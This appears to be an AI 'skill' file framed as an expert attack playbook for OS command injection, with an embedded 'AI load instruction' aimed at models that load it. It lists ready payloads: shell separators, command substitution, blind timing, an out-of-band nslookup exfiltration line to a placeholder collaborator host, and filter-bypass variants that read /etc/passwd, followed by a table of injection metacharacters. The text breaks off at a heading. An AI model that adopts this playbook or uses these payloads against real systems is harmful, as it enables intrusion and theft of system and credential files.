SKILL: OS Command Injection, Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

• upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow

First-pass payload families

Context	Start With	Backup
generic shell separator	;id	&&id
quoted argument	";id;"	';id;'
blind timing	;sleep 5	& timeout /T 5 /NOBREAK
command substitution	$(id)	`id`
out-of-band DNS	;nslookup token.collab	Windows nslookup variant

cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

---

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

Metacharacter	Behavior	Example
;	Runs second command regardless	dir; whoami
|	Pipes stdout to second command	dir | whoami
||	Run second only if first FAILS	dir || whoami
&	Run second in background (or sequenced in Windows)	dir & whoami
&&	Run second only if first SUCCEEDS	dir && whoami
$(cmd)	Command substitution	echo $(whoami)
`cmd`	Command substitution (backtick)	echo `whoami`
>	Redirect stdout to file	cmd > /tmp/out
>>	Append to file	cmd >> /tmp/out
<	Read file as stdin	cmd < /etc/passwd
%0a	Newline character (URL-encoded)	cmd%0awhoami
%0d%0a	CRLF	Multi-command injection

---

2. COMMON VULNERABLE CODE PATTERNS